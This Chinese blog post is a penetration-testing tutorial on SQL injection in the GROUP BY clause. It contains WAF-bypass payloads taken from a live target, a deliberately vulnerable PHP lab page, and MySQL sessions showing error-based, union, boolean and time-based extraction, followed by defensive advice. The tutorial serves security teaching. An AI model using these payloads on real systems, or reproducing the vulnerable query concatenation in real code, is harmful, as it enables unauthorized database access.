Xavier's Blog一个安全工作者
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018-SQL注入之GroupBy位置点注入

Xavier Xavier 收录于 Pentest
 约 4000 字 预计阅读 8 分钟 - 次阅读  

本篇文章作者Xavier，本文属i春秋原创奖励计划，首发于i春秋论坛，未经许可禁止转载。

原文地址：https://bbs.ichunqiu.com/thread-63490-1-1.html

Group by 简介

GROUP BY 语句将具有相同值的行分组为汇总行，例如"查找每个地区的客户数量"。

GROUP BY 语句通常与聚合函数（COUNT()、MAX(), MIN(), SUM(), AVG()) 按一列或多列对结果集进行分组。

GROUP BY 语法 

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SELECT column_name, function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name
HAVING condition
ORDER BY column_name
LIMIT num;

在GROUP BY子句中，列出了要用于分组的列名。查询结果将根据这些列的值进行分组，具有相同值的行将被归为一组。然后，对于每个组，可以使用聚合函数来计算汇总值。

使用场景

1）查询每个顾客的订单总额

例如，假设有一个Orders表包含以下列：OrderID、CustomerID、OrderDate和TotalAmount。我们可以使用GROUP BY语句按CustomerID对订单进行分组，并计算每个客户的订单总金额：

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SELECT CustomerID, SUM(TotalAmount) AS TotalSum
FROM Orders
GROUP BY CustomerID;

以上查询将返回每个客户的CustomerID和对应的订单总金额TotalSum。

需要注意的是，使用GROUP BY语句时，SELECT子句中的列必须是分组列或聚合函数的结果列。如果在SELECT子句中引用了其他列，则这些列必须在GROUP BY子句中列出。

GROUP BY语句可以用于多个列的组合分组，例如：

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SELECT CustomerID, SUM(TotalAmount) AS TotalSum
FROM Orders
GROUP BY CustomerID;

以上查询将按Country和City两列进行分组，并计算每个组的记录数。

总之，GROUP BY语句在SQL中用于按照指定的列对结果进行分组，并进行聚合计算，以便更好地理解和分析数据。

2）统计员工数量最多的5个部门

统计每个部门的员工数量，并按照员工数量降序排序，只返回前5个部门：

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SELECT department, COUNT(*) as total_employees
FROM employees
GROUP BY department
ORDER BY total_employees DESC
LIMIT 5;

3）统计不同部门的员工总数和平均薪资

查询不同部门的员工总数和平均工资，并将结果合并：

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SELECT department, COUNT(*) as total_employees, AVG(salary) as avg_salary
FROM employees
GROUP BY department
UNION SELECT 'Overall', COUNT(*), AVG(salary)
FROM employees;

GROUP BY 注入

上面给了几个group by的使用场景，GROUP BY子句后面的参数是用于指定列名或表达式，以对结果进行分组。这些参数通常是SQL查询的一部分，与order by 一样，无法直接预编译，因此也容易出现SQL注入。

只不过相比于order by位置点的注入，group by位置点更少见一些。

案例

最近帮朋友看了个注入点，是一个Groupby注入点

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/api?pageSize=-1&groupBy=id

在groupby参数的id加上单引号，引起报错，泄露SQL语句

图片

可以看到这里的group by 是存在拼接的，这个id是可控的，很明显是一个注入点。

把SQL语句简化以下就是：

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select 1,2,3...,17 from table were table.a is null group by table.id

这其中的id是可控的，传进去就会与table.进行拼接，像这个group by位置的注入点，我很少有见到。

先说结果，注出来了，有waf，最后的几种payload:

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# 转换成order by，利用rand()进行条件布尔注入：id order by rand(substr(version(),1,1)='8')，url编码绕过waf
id+order+by+rand(%73%75%62%73%74%72%28%76%65%72%73%69%6f%6e%28%29,1,1)='8')
# 报错注入，id and extractvalue(0x5c,concat(1,(select version())))
id/**/and/**/extractvalue(0x5c,concat('~',/*!60000select*//**/version()))
# 报错注入，
id/**/and/**/updatexml(1,concat(0x7e,(/*!12345select*//**/version()),0x7e),1)

布尔注入的顺序会不同，得出版本：

图片

这里我字符加少了，只加了数字0-9，字母a-f，和符号.号，但版本的话大部分情况下数字0-9，加上符号点号.，够用了。如果是数据库名的话，想要全一点就是大小写字母+数字+短杠和下划线。

报错注入截图：

extractvalue语句：

图片

updatexml语句：

图片

本地环境

因为group by后面的注入点之前没怎么遇到过，这次就顺便研究下，在本地数据库mysql下进行测试。

改了下sqli-labs做案例，新建了一个less，代码如下：

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<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['groupby']))
{
	$groupby=$_GET['groupby'];
	$sql="select * from users where username like 'admin%' group by $groupby ";
	#$sql="select * from users where username like 'admin%' group by user.$groupby ";
	$result=mysql_query($sql);
  echo $sql.'<br>';
	if($result){
		$rows =  mysql_num_rows($result);
		echo '查询结果共有'.$rows.'条记录<br>';
		echo "<table>
                <tr>
                    <th>序号</th>
                    <th>姓名</th>
                    <th>密码</th>
                <tr>";
		if($rows>0){
			$count = 1;
        	while($row = mysql_fetch_assoc($result)){
            	echo "<tr>
                	 <td>".$row['id']."</td>
                 	<td>".$row['username']."</td>
                 	<td>".$row['password']."</td>
             	</tr>";
        	}
        	$count++;
    	}
    	echo "</table>";
	}else {
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

下面演示用到了两个数据表。

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# sqli-labs 数据库，版本5.7.26
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.02 sec)

# 自建数据库，版本8.0.31
mysql> select * from users;
+----+-------+----------+------+-----------+
| id | name  | pass     | age  | area      |
+----+-------+----------+------+-----------+
|  1 | test1 | 123456   |   18 | beijing   |
|  2 | test2 | 543210   |   20 | shanghai  |
|  3 | user1 | qwer1234 |   28 | guangzhou |
+----+-------+----------+------+-----------+
3 rows in set (0.01 sec)

获取字段数

group by 后面加数字就能进行字段数的枚举，当数字大于字段数时，就会产生如下报错：

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# mysql 8.0.31
mysql> select * from users where id=2 group by 5;
+----+-------+--------+------+----------+
| id | name  | pass   | age  | area     |
+----+-------+--------+------+----------+
|  2 | test2 | 543210 |   20 | shanghai |
+----+-------+--------+------+----------+
1 row in set (0.02 sec)

mysql> select * from users where id=2 group by 6;
ERROR 1054 (42S22): Unknown column '6' in 'group statement'

图片

还有一种报错情况，如下：

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# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
|  9 | admin1   | admin1   |
| 10 | admin2   | admin2   |
| 11 | admin3   | admin3   |
| 14 | admin4   | admin4   |
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from users where username like 'admin%' group by 2;
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

mysql> select * from users where username like 'admin%' group by 3;
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

mysql> select * from users where username like 'admin%' group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql>

图片

这个错误提示是由于MySQL的sql_mode配置中启用了only_full_group_by模式，它要求在使用GROUP BY子句时，SELECT列表中的非聚合列必须包含在GROUP BY子句中。

上述案例中id是非聚合列，所以必须要带上，如下：

图片

还有一种情况， group by后面的参数只能控制一部分，比如如下sql语句：

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$sql="select * from users where username like 'admin%' group by user.$groupby ";
$result=mysql_query($sql);

像案例中就是这种情况，这种情况下获取列名只能先闭合前面的列名，然后遍历第二位的数字，如下：

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mysql> select * from users where username like 'admin%' group by users.id,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
|  9 | admin1   | admin1   |
| 10 | admin2   | admin2   |
| 11 | admin3   | admin3   |
| 14 | admin4   | admin4   |
+----+----------+----------+
5 rows in set (0.00 sec)

mysql> select * from users where username like 'admin%' group by users.id,4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'

图片

联合查询

接下来看下联合查询的情况

众所周知，Where 后的注入点可以用 union select 联合查询，并且能控制回显位置。那么group by呢？

Group by 后面可以接union select，但无法控制回显位置。

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但但是，group by用于分类查询，limit语句只能放在后面位置，可以通过注释符注释掉它。

例如，我们需要查询前3个用户名为admin开头的

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mysql> select * from users where username like 'admin%' group by id limit 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
|  9 | admin1   | admin1   |
| 10 | admin2   | admin2   |
+----+----------+----------+
3 rows in set (0.01 sec)

mysql> select * from users where username like 'admin%' group by id union select 1,2,3; -- limit 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
|  9 | admin1   | admin1   |
| 10 | admin2   | admin2   |
| 11 | admin3   | admin3   |
| 14 | admin4   | admin4   |
|  1 | 2        | 3        |
+----+----------+----------+
6 rows in set (0.01 sec)

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修改PHP SQL查询语句：

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$sql="select * from users where username like 'admin%' group by $groupby limit 3";
$result=mysql_query($sql);

试着在group by后面拼接union select成功：

Payload:groupby=id union select 1,user(),version()

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报错注入

报错注入也简单，直接在group by后续位置插入报错语句即可：

XPath报错 

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mysql> select * from users group by 1,(extractvalue(1,concat('~',(select version()))));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31'
mysql> 
mysql> select * from users group by 1, (updatexml(1,concat(0x7e,(select version()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~8.0.31~'
mysql>

Geohash报错

Geohash报错在5.7.26上成功了，但是在8.0.31上失败了

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# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_LongFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LONGFROMGEOHASH
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_PointFromGeoHash((select version()),1));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function st_pointfromgeohash
mysql> select * from users where username like 'admin%' group by users.id,1,(ST_LatFromGeoHash((select version())));
ERROR 1411 (HY000): Incorrect geohash value: '5.7.26' for function ST_LATFROMGEOHASH
mysql>

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# mysql 8.0.31 失败
mysql> select * from users where id=2 group by 1,(ST_LongFromGeoHash((select version())));
+----+-------+--------+------+----------+
| id | name  | pass   | age  | area     |
+----+-------+--------+------+----------+
|  2 | test2 | 543210 |   20 | shanghai |
+----+-------+--------+------+----------+
1 row in set (0.01 sec)

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GTID报错

mysql 5.7.26上成功了

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# mysql 5.7.26
mysql> select * from users where username like 'admin%' group by users.id,(gtid_subtract(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.
mysql> select * from users where username like 'admin%' group by users.id,(gtid_subset(version(),1));
ERROR 1772 (HY000): Malformed GTID set specification '5.7.26'.

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mysql 8.0.31失败

布尔盲注

布尔盲注这块，没想到其他办法，一种是利用union select

另一种是利用order by 的布尔盲注实现。

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id order by rand(substr(version(),1,1)='8')

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因为group by后面可以接order by，所以适用于order by注入点的方法都可以用。

时间盲注

时间盲注想到的办法也是union select 和 order by，但是需要注意的是 order by会根据数据记录数把延时放大，比如sleep 1秒，有3条记录，则总共延时 3秒。

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mysql> select * from users group by 1 order by sleep(1);
+----+-------+----------+------+-----------+
| id | name  | pass     | age  | area      |
+----+-------+----------+------+-----------+
|  1 | test1 | 123456   |   18 | beijing   |
|  2 | test2 | 543210   |   20 | shanghai  |
|  3 | user1 | qwer1234 |   28 | guangzhou |
+----+-------+----------+------+-----------+
3 rows in set (3.01 sec)

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所以这种方法不推荐使用，尤其是查询大型数据库。

总结

要防止SQL注入攻击，建议采取以下措施：

  1. 使用参数绑定或预编译语句：使用参数化查询或预编译语句，将用户提供的输入作为参数传递给SQL查询，而不是将其直接拼接到查询字符串中。这样可以防止恶意输入被解释为SQL代码。
  2. 输入验证和过滤：对于动态生成的列名或表达式，确保对用户输入进行严格的验证和过滤，只允许合法的值和字符，避免将恶意输入传递给SQL查询。
  3. 最小权限原则：在数据库的访问控制上，确保应用程序使用的数据库账户具有最小的权限，仅限于执行必要的操作，以减少潜在的攻击面。

对于无法直接进行预编译的内容，需要在代码层进行过滤和处理，比如可以通过映射的方式将前端接收的参数值匹配到后端相应的值，再传入SQL进行操作，从而避免将恶意输入传递给SQL查询。

以上就是本次分享全部内容，如有纰漏，欢迎各位大佬交流指正。

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更新于 2023-07-27 
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